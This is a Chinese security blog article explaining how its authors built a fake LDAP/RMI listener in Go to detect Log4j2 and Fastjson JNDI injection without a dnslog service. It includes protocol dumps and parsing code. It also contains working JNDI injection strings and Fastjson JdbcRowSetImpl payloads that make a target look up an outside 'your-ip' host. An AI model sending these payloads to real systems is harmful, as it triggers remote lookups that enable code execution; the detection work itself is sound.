<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    淺談Log4j2不借助dnslog的檢測

    VSole2021-12-29 13:27:47

    0x00 介紹

    目前的Log4j2檢測都需要借助dnslog平臺,是否存在不借助dnslog的檢測方式呢

    也許在甲方內網自查等情景下有很好的效果

    筆者實習期間參與過xray的一些開發,對其中的反連平臺有一些了解。正好天下大木頭師傅找到我,提出了它同樣的思路,于是我們交流后編寫了一款工具,目前功能簡單,后續可能會加強

    主要原理是參考LDAPRMI協議文檔,編寫解析協議的代碼,獲取我們需要的數據,保存即可

    所以本文主要就是分析該工具的介紹和編寫思路,首先來看看效果

    運行工具:./Log4j2Scan.exe -p 8000

    由于我在本地測試,所以ip地址為127.0.0.1

    使用RMI觸發漏洞(RMI方式的Payload必須有Path否則不會發請求)

    public static void main(String[] args) {   logger.error("${jndi:rmi://127.0.0.1:8000/xxx}");}
    

    使用LDAP觸發漏洞

    public static void main(String[] args) {   logger.error("${jndi:ldap://127.0.0.1:8000}");}
    

    可以看到命令行的輸出

    我另外做了一個動態更新的web頁面,每收到一個請求都會在頁面中刷新

    這是最初的版本,這兩天我加入了一些新功能,可以從路徑中帶出參數,該功能有利于批量掃描等方式

    (例如ldap://127.0.0.1:1389/4ra1n會收集到4ra1n

    后來木頭師傅又做了Burpsuite插件的適配(由于一些原因木頭師傅刪除了這些功能)

    0x01 LDAP

    無論是LDAP還是RMI協議情況下的漏洞觸發,總是需要發請求的,于是我們將這些請求抓包分析

    搭建正常的LDAP Server并監聽lookback網卡并設置端口為tcp:1389

    無需關心前三步,這三步是TCP的握手,并不包含真正的數據,從PSH+ASK這一條數據來看

    首先是漏洞觸發端(客戶端)向LDAP服務端發了300c020101600702010304008000這樣的一串數據

    經過多次不同操作系統下的測試,確認這應該是LDAP協議的指紋,正常情況下客戶端都會向服務端首先發送這樣一個字符串,為了進一步確認,我嘗試到googlegithub進行搜索

    在 Github類似代碼 中發現該字符串被很多腳本作為LDAP協議的探測指紋信息,在 官方文檔 中確認了為什么是這樣的字符串

    30 0c -- Begin the LDAPMessage sequence  02 01 01 -- The message ID (integer value 1)  60 07 -- Begin the bind request protocol op    02 01 03 -- The LDAP protocol version (integer value 3)    04 00 -- Empty bind DN (0-byte octet string)    80 00 -- Empty password (0-byte octet string with type context-specific          -- primitive zero)
    

    于是我們用Golang編寫了類似的邏輯,構造了一個虛假的LDAP Server分析來自漏洞觸發端的TCP連接

    監聽Socket

    log.Info("start fake reverse server")listen, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", config.Port))...for {   conn, err := listen.Accept()   ...   // 分析   go acceptProcess(&conn)}
    

    根據上述指紋進行分析

    func acceptProcess(conn *net.Conn) {  buf := make([]byte, 1024)  num, err := (*conn).Read(buf)  ...  hexStr := fmt.Sprintf("%x", buf[:num])  // LDAP 指紋  if "300c020101600702010304008000" == hexStr {     // 如果符合則記錄該請求     res := &model.Result{        Host:   (*conn).RemoteAddr().String(),        Name:   "LDAP",        Finger: hexStr,    }  }}
    

    到這一步只能確定是LDAP協議還拿不到傳過來的參數(ldap://127.0.0.1:1389/4ra1n中的4ra1n

    于是繼續查看官方文檔,構造標準的返回包

    30 0c -- Begin the LDAPMessage sequence  02 01 01 -- The message ID (integer value 1)  61 07 -- Begin the bind response protocol op    0a 01 00 -- success result code (enumerated value 0)    04 00 -- No matched DN (0-byte octet string)    04 00 -- No diagnostic message (0-byte octet string)
    

    按照標準返回之后,會再次從客戶端得到輸入

    不過這個包并不能匹配到LDAP官方文檔中任意一種協議(也許是我沒找到)

    通過大量請求做diff后發現這里新輸入的規律

    • 輸入前7位是固定的
    • 輸入的第8位代表路徑的長度n(例如4ra1n長度為05
    • 從第9位到第9+n位是對應的路徑參數

    按照這個規則編寫,即可取到其中的參數

    if "300c020101600702010304008000" == hexStr {   data := []byte{       0x30, 0x0c, 0x02, 0x01, 0x01, 0x61, 0x07,       0x0a, 0x01, 0x00, 0x04, 0x00, 0x04, 0x00,  }   _, _ = (*conn).Write(data)   _, _ = (*conn).Read(buf)   length := buf[8]   pathBytes := bytes.Buffer{}   for i := 1; i <= int(length); i++ {       temp := []byte{buf[8+i]}       pathBytes.Write(temp)  }   // 得到path   path := pathBytes.String()   ...   _ = (*conn).Close()   return}
    

    0x02 RMI

    RMI的分析過程大致分為5步,我將和大家逐個介紹

    (1)Client -> Server

    接下來分析RMI的情況

    同樣的方式抓包看到4a524d4900024b的指紋,由漏洞觸發端(客戶端)發向RMI服務端

    不過RMI協議的開頭并不這么簡單,不一定是一個固定的字符串

    Oracle官網看到了這樣的描述:RMI協議分為請求頭Header和消息Message部分,上文的字符串是Header相關的內容,該TCP連接后續會進行Message的傳輸

    關于Header的解釋如下:0x4a 0x52 0x4d 0x49為固定字節(轉成字符串是JRMI

    后面兩個字節分別表示VersionProtocol信息,按照RMI協議的規定,這里的Version應該是0x00 0x01,實際抓包看到的是0x00 0x02,或許是文檔較老的原因?

    末尾的0x4b表示這是StreamProtocol協議方式,沒有什么問題

    Header:  0x4a 0x52 0x4d 0x49 Version Protocol
    Version:  0x00 0x01
    Protocol:  StreamProtocol  SingleOpProtocol  MultiplexProtocol
    StreamProtocol:  0x4b
    SingleOpProtocol:  0x4c
    MultiplexProtocol:  0x4d
    

    其實仔細看Wireshark的解析,和我做的分析一致

    如果只為了確認RMI協議,那么到這里就可以了

    但我們的目的是獲取路徑參數,在RMI協議中這一步尤其復雜

    (2)Server -> Client

    接下來應該是RMI服務端返回數據給漏洞觸發端(客戶端)

    原始報文為

    0000   4e 00 0f 44 45 53 4b 54 4f 50 2d 46 50 30 32 42   N..DESKTOP-FP02B0010   4b 48 00 00 f8 8e                                 KH....
    

    根據官方文檔不難看出0x4e表示ProtocolAck且后續內容應該是具體返回的值

    In:  ProtocolAck Returns
    ProtocolAck:  0x4e
    

    簡單分析了下這里0x00 0x0f表示長度15,后15位DESKTOP-FP02BKH是服務端的主機名

    最后的0xf8 0xfeRMI客戶端的端口:63630

    Wireshark中可以看到解析結果和分析一致

    (3)Client -> Server

    接下來客戶端會向服務端發送如下的數據,報文如下

    0000   00 0b 31 39 32 2e 31 36 38 2e 31 2e 34 00 00 00   ..192.168.1.4...0010   00    
                                               .
    

    其中0b表示一個內網地址長度,正好是192.168.1.4,其余部分用00填充

    于是想到這里的地址是否可以偽造

    (4)Server -> Client

    接下來服務端需要向客戶端傳一個空(至關重要)

    (5)Client -> Server

    下一步是客戶端繼續向服務端發送,報文以0x50開頭,表示call操作

    Call:  0x50 CallData
    

    報文如下,開頭的aced0005是經典序列化數據頭,結尾的jlmz6v是我們需要的路徑參數

    0000   50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00   P....w".........0010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................0020   02 44 15 4d c9 d4 e6 3b df 74 00 06 6a 6c 6d 7a   .D.M...;.t..jlmz0030   36 76                                             6v
    

    現在問題來了,這是什么類的序列化數據

    想辦法對這個數據進行反序列化,發現報錯

    byte[] data = new byte[]{  (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x77, (byte)0x22,  (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,  (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,  (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,  (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,  (byte)0x00, (byte)0x02, (byte)0x44, (byte)0x15, (byte)0x4d, (byte)0xc9,  (byte)0xd4, (byte)0xe6, (byte)0x3b, (byte)0xdf, (byte)0x74, (byte)0x00,  (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76};ByteArrayInputStream is = new ByteArrayInputStream(data);ObjectInputStream ois = new ObjectInputStream(is);Object obj = ois.readObject();ois.close();System.out.println(obj);
    

    在嘗試研究后,發現這個序列化數據類似String

    byte[] data = new byte[]{  (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x74, (byte)0x00,  (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76};ByteArrayInputStream is = new ByteArrayInputStream(data);ObjectInputStream ois = new ObjectInputStream(is);Object obj = ois.readObject();ois.close();// 打印:jlmz6vSystem.out.println(obj);
    

    發現字符串數據位于末尾,且之前有一個表示長度的字節,如這里06 6a 6c 6d 7a06表示jlmz6v長度為6

    因此能否從后往前讀,如果已讀到的長度等于當前讀到的字節代表的數字,那么認為已讀到的字符串翻轉后是路徑參數

    (這種手段也許會有誤報,但由于字母的ASCII碼數值很大,所以大概率不會出問題)

    (6)實現

    首先根據第一步判斷是否為RMI協議

    func checkRMI(data []byte) bool {if data[0] == 0x4a &&data[1] == 0x52 &&data[2] == 0x4d &&data[3] == 0x49 {if data[4] != 0x00 {return false}       // 0x01是官方規定的 0x02是實際抓包的結果       // 所以可以認為0x01和0x02都為RMI協議if data[5] != 0x01 && data[5] != 0x02 {return false}if data[6] != 0x4b &&data[6] != 0x4c &&data[6] != 0x4d {return false}lastData := data[7:]for _, v := range lastData {if v != 0x00 {return false}}return true}return false}
    

    進一步獲取路徑參數比較麻煩

    if checkRMI(buf) {   // 需要發的數據(這里模擬了127.0.0.1)   // 實際上這個數據可以隨意模擬   // 只要保證4e00開頭   data := []byte{       0x4e, 0x00, 0x09, 0x31, 0x32,       0x37, 0x2e, 0x30, 0x2e, 0x30,       0x2e, 0x31, 0x00, 0x00, 0xc4, 0x12,  }   _, _ = (*conn).Write(data)   // 這里讀到的數據沒有用處   _, _ = (*conn).Read(buf)   // 需要發一次空數據然后接收call信息   _, _ = (*conn).Write([]byte{})   _, _ = (*conn).Read(buf)   var dataList []byte   flag := false   // 從后往前讀因為空都是00   for i := len(buf) - 1; i >= 0; i-- {       // 這里要用一個flag來區分       // 因為正常數據中也會含有00       if buf[i] != 0x00 || flag {           flag = true           dataList = append(dataList, buf[i])      }  }   // 拿到翻轉路徑索引   // 原理在上文已寫:   // 已讀到的長度等于當前讀到的字節代表的數字   // 那么認為已讀到的字符串翻轉后是路徑參數   var j int   for i := 0; i < len(dataList); i++ {       if int(dataList[i]) == i {           j = i      }  }   // 拿到翻轉路徑參數   temp := dataList[0:j]   pathBytes := &bytes.Buffer{}   // 翻轉后拿到真正的路徑參數   for i := len(temp) - 1; i >= 0; i-- {       pathBytes.Write([]byte{dataList[i]})  }   ...   _ = (*conn).Close()   return}
    

    0x03 其他

    最后分享一些簡單的安全開發技術,對于想自己寫安全工具師傅可能會有幫助

    監聽Socket收到的結果如何傳遞記錄

    構造一個非阻塞channel用于傳輸(給出默認長度就不阻塞了)

    ResultChan = make(chan *model.Result, 100)
    

    收到LDAPRMI請求后將數據輸入channel

    // LDAPif "300c020101600702010304008000" == hexStr {  // 記錄數據  res := &model.Result{     Host:   (*conn).RemoteAddr().String(),     Name:   "LDAP",     Finger: hexStr,  }  // 數據輸入channel  ResultChan <- res}
    

    這時候其他的goroutine就可以取到channel中的結果

    for {   select {       // 從channel中取到結果       case res := <-ResultChan:       // 輸出結果       info := fmt.Sprintf("%s->%s", res.Name, res.Host)       log.Info("log4j2 detected")       log.Info(info)       // 第二個問題       RenderChan <- res  }}
    

    如何將結果傳遞給web頁面

    上面這個問題最后將結果放入了一個新的channel

    RenderChan <- res
    

    在開啟web服務的時候,建一個goroutine用于接收這個數據

    var (   // 新channel的指針resultList []*model.Result   // 為什么要上鎖參考下一個問題lock       sync.Mutex)
    func StartHttpServer(renderChan *chan *model.Result) {log.Info("start result http server")   // 開啟web服務mux := http.NewServeMux()mux.Handle(config.DefaultHttpPath, &resultHandler{})server := &http.Server{Addr:         fmt.Sprintf(":%d", config.HttpPort),WriteTimeout: config.DefaultHttpTimeout,Handler:      mux,}   // 負責接收實時數據go listenData(renderChan)_ = server.ListenAndServe()}
    func listenData(renderChan *chan *model.Result) {for {select {case res := <-*renderChan:           // 申請鎖           // 為什么要上鎖參考下一個問題lock.Lock()           // 將結果加入到list中resultList = append(resultList, res)lock.Unlock()}}}
    

    如何做到web頁面實時顯示

    上一個問題涉及到了互斥鎖,正是為了解決這個問題

    接收到請求會在HandlerServeHTTP中處理,上文中維護的全局列表在實時地添加最新掃描結果,如果這里直接取全局列表會出現并發問題,所以選用了互斥鎖(也有其他的解決方案這種最簡單)

    type resultHandler struct {}
    func (handler *resultHandler) ServeHTTP(w http.ResponseWriter, _ *http.Request) {   // 申請鎖lock.Lock()   // 根據當前list中的結果返回_, _ = w.Write(RenderHtml(resultList))lock.Unlock()}
    

    如何讓前端實時刷新:首先想到的是Ajax定時請求插入新的數據,實現起來麻煩

    于是想到暴力辦法,定時刷新頁面

    <script>   function fresh(){       window.location.reload();  }   setTimeout('fresh()',3000);script>
    

    0x04 總結

    項目地址:https://github.com/EmYiQing/JNDIScan

    由于一些原因,木頭師傅要求我在項目中刪除了他的ID,但木頭師傅在該項目中的貢獻不可否認。由于同樣的原因,我不得不刪除其中的動態web頁面,轉為生成本地的html文件。做安全真難,寫個工具都不能安穩

    最后我將項目名稱從Log4j2Scan改為JNDIScan并加入了一些小功能

    • 自動獲取內網和外網的IP,方便用戶直接使用
    • 添加路徑外帶參數的功能,方面批量掃描(使用UUID等方式來確認漏洞)

    最后,該項目不僅可用于Log4j2的掃描,也可用于Fastjson等可能存在JDNI注入漏洞組件的掃描

    {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://your-ip:port/xxx","autoCommit": true}
    {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://your-ip:port/params","autoCommit": true
    }
    
    ldaprmi
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    漏洞探測輔助平臺
    2022-12-22 09:14:38
    可幫助檢測漏洞:log4j2 fastjson ruoyi Spring RCE Blind SQL Bland XXE. 我習慣于將服務用tmux放到后臺運行2、啟動webserver安裝python依賴注意,需要用python3.7及以上版本,否則會有兼容性問題,多python推薦使用condacd cola_dnslog. 至此,三端已經全部開啟!
    可幫助檢測漏洞:log4j2 fastjson ruoyi Spring RCE Blind SQL Bland XXE. 我習慣于將服務用tmux放到后臺運行2、啟動webserver安裝python依賴注意,需要用python3.7及以上版本,否則會有兼容性問題,多python推薦使用condacd cola_dnslog. 至此,三端已經全部開啟!
    java -jar weblogic.jar -jndistart -Jport 8888 -jndirmi -codeurl http://127.0.0.1/
    目前的Log4j2檢測都需要借助dnslog平臺,是否存在不借助dnslog的檢測方式呢
    本篇文章是Fastjson框架漏洞復現,記錄了近幾年來爆出的Fastjson框架漏洞,主要分為四個部分:Fastjson簡介、Fastjson環境搭建、Fastjson漏洞復現、Fastjson工具介紹。 本篇文章由淺入深地介紹了Fastjson的一系列反序列化漏洞,基于RMILDAP方式反序列化漏洞利用對Fastjson進行RCE。在學習Fastjson過程中閱讀了幾十篇中英文Fastjson
    1. 根據現有payload,檢測目標是否存在fastjson或jackson漏洞(工具僅用于檢測漏洞)2. 若存在漏洞,可根據對應payload進行后滲透利用3. 若出現新的漏洞時,可將最新的payload新增至txt中(需修改格式)4. 工具無法完全替代手工檢測,僅作為輔助工具使用
    這篇文章,我嘗試讓所有技術相關的朋友都能看懂:這個注定會載入網絡安全史冊上的漏洞,到底是怎么一回事!
    筆者繼續帶大家炒Fastjson的冷飯。關于漏洞分析和利用鏈分析文章網上已有大量,但是關于如何自動化檢測的文章還是比較少見的,尤其是如何不使用Java對Fastjson做檢測。
    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。 在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类